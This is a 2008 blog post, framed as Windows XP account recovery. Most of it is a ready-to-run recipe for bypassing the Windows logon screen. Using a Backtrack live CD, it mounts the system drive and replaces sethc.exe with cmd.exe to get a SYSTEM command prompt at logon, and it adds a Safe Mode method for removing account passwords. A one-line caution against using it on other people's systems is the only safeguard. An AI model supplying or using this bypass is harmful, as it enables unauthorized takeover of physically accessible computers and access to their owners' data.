Thursday, August 28, 2008
How to fix or recover User Account in XP
I came along this article by Greg Shultz of TechRepublic that goes along with my recent video on User accounts. A very good read if you've had your User Account come up with an error or become corrupt and your unable to recover or log on to your account with all your precious data.
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http://dadecoders.blogspot.com/2007/11/have-you-forgot-your-user-account.html
There are many ways to bypass Windows Logon Screen if you have physical access to machine. I prefer the the infamous sethc.exe trick
All you need is Live CD that supports Captive NTFS i.e. Backtrack. Here we go:
captive-install-acquire
mkdir /mnt/ntfs
mount -t captive-ntfs /dev/hda1 /mnt/ntfs
cd /mnt/ntfs/windows/system32
mv sethc.exe sethc.old; cp cmd.exe sethc.exe
sync
cd ~
umount /mnt/ntfs
shutdown –r now
Boot into Windows and press SHIFT five (5) times. Command Prompt with SYSTEM privileges will pop-up. Game over
If this doesn't work praparly we need to follow our old trick..
(This works only when there is no password for Administrator account).
Start windows in Safe mode.
While entering into the windows it shows
Administrator account
Your account
Click on administrator account
Then you can enter into windows in safe mode
Go to control panel
Open user accounts
Click up on your account
Clik on “remove password”
Reboot windows.
Then you can enter into Your account without password.
It is only one method of troubleshooting. Don’t do this on other’s system.
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